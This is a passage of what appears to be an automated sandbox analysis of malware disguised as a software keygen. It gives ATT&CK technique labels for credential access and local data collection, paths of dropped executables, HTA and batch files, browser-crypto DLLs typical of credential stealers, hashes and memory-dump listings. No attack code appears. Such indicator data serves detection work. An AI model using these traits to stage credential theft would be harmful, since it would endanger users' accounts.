- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4644

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\ProgramData\freebl3.dll

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C:\ProgramData\freebl3.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\mozglue.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\msvcp140.dll

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C:\ProgramData\softokn3.dll

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C:\ProgramData\softokn3.dll

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C:\ProgramData\sqlite3.dll

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C:\ProgramData\sqlite3.dll

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C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\8FE.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\8FE.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\8FE.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\8FE.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\8FE.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\8FE.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\8FE.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\8FE.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\8FE.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Public\tjp.exe

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C:\Users\Public\tjp.exe

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C:\Users\Public\vlt.exe

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C:\Users\Public\vlt.exe

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C:\Users\Public\vlt.exe

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C:\Users\Public\xml.exe

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C:\Users\Public\xml.exe

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C:\Users\Public\xml.exe

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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memory/904-84-0x0000000009170000-0x0000000009171000-memory.dmp

Filesize
4KB

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memory/904-86-0x0000000009FF0000-0x0000000009FF1000-memory.dmp

Filesize
4KB

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memory/904-85-0x0000000006860000-0x0000000006861000-memory.dmp

Filesize
4KB

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memory/904-26-0x000000006FFB0000-0x000000007069E000-memory.dmp

Filesize
6.9MB

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memory/904-23-0x0000000000000000-mapping.dmp

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memory/904-61-0x0000000009470000-0x0000000009471000-memory.dmp

Filesize
4KB

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memory/908-3-0x0000000000000000-mapping.dmp

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memory/908-2-0x0000000000000000-mapping.dmp

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memory/1180-189-0x0000000000000000-mapping.dmp

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memory/1244-7-0x0000000000000000-mapping.dmp

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memory/1492-24-0x0000000000000000-mapping.dmp

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memory/1492-30-0x000000006FFB0000-0x000000007069E000-memory.dmp

Filesize
6.9MB

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memory/1496-9-0x0000000000000000-mapping.dmp

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memory/1604-10-0x0000000000000000-mapping.dmp

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memory/1700-190-0x0000000000000000-mapping.dmp

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memory/1976-164-0x000000000043FCC3-mapping.dmp

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memory/1976-166-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/2140-157-0x0000000000000000-mapping.dmp

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memory/2264-22-0x0000000000000000-mapping.dmp

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memory/2420-20-0x0000000000000000-mapping.dmp

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memory/2480-27-0x0000000006F40000-0x0000000006F41000-memory.dmp

Filesize
4KB

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memory/2480-21-0x0000000007070000-0x0000000007071000-memory.dmp

Filesize
4KB

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memory/2480-64-0x0000000008CA0000-0x0000000008CA1000-memory.dmp

Filesize
4KB

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memory/2480-32-0x00000000076A0000-0x00000000076A1000-memory.dmp

Filesize
4KB

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memory/2480-47-0x0000000007FB0000-0x0000000007FB1000-memory.dmp

Filesize
4KB

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memory/2480-13-0x0000000000000000-mapping.dmp

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memory/2480-28-0x0000000006FB0000-0x0000000006FB1000-memory.dmp

Filesize
4KB

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memory/2480-44-0x0000000007CA0000-0x0000000007CA1000-memory.dmp

Filesize
4KB

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memory/2480-15-0x000000006FFB0000-0x000000007069E000-memory.dmp

Filesize
6.9MB

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memory/2480-43-0x0000000007A10000-0x0000000007A11000-memory.dmp

Filesize
4KB

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memory/2480-25-0x0000000006DA0000-0x0000000006DA1000-memory.dmp

Filesize
4KB

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memory/2480-18-0x0000000004410000-0x0000000004411000-memory.dmp

Filesize
4KB

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memory/2560-14-0x000000006FFB0000-0x000000007069E000-memory.dmp

Filesize
6.9MB

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memory/2560-12-0x0000000000000000-mapping.dmp

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memory/2652-155-0x0000000000000000-mapping.dmp

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memory/3544-17-0x0000000000000000-mapping.dmp

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memory/3556-116-0x000000000043FCC3-mapping.dmp

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memory/3556-119-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/3556-114-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/3932-0-0x0000000000000000-mapping.dmp

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memory/4120-104-0x0000000000000000-mapping.dmp

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memory/4172-107-0x0000000000000000-mapping.dmp

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memory/4284-168-0x0000000000417A8B-mapping.dmp

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memory/4284-172-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4312-117-0x0000000000417A8B-mapping.dmp

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memory/4312-121-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4312-115-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4364-171-0x000000000041A684-mapping.dmp

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memory/4388-52-0x0000000000000000-mapping.dmp

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memory/4396-122-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/4396-123-0x000000000041A684-mapping.dmp

Download
memory/4396-125-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

Download
memory/4464-55-0x000000006FFB0000-0x000000007069E000-memory.dmp

Filesize
6.9MB

Download
memory/4464-54-0x0000000000000000-mapping.dmp

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memory/4556-59-0x0000000000000000-mapping.dmp

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memory/4632-141-0x0000000000000000-mapping.dmp

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memory/4644-60-0x0000000000000000-mapping.dmp

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memory/4644-69-0x000000006FFB0000-0x000000007069E000-memory.dmp

Filesize
6.9MB

Download
memory/4976-89-0x0000000000000000-mapping.dmp

Download
memory/4988-181-0x0000000005100000-0x0000000005101000-memory.dmp

Filesize
4KB

Download
memory/4988-179-0x0000000004FB0000-0x0000000005060000-memory.dmp

Filesize
704KB

Download
memory/4988-95-0x000000006FFB0000-0x000000007069E000-memory.dmp

Filesize
6.9MB

Download
memory/4988-90-0x0000000000000000-mapping.dmp

Download
memory/4988-101-0x00000000001B0000-0x00000000001B1000-memory.dmp

Filesize
4KB

Download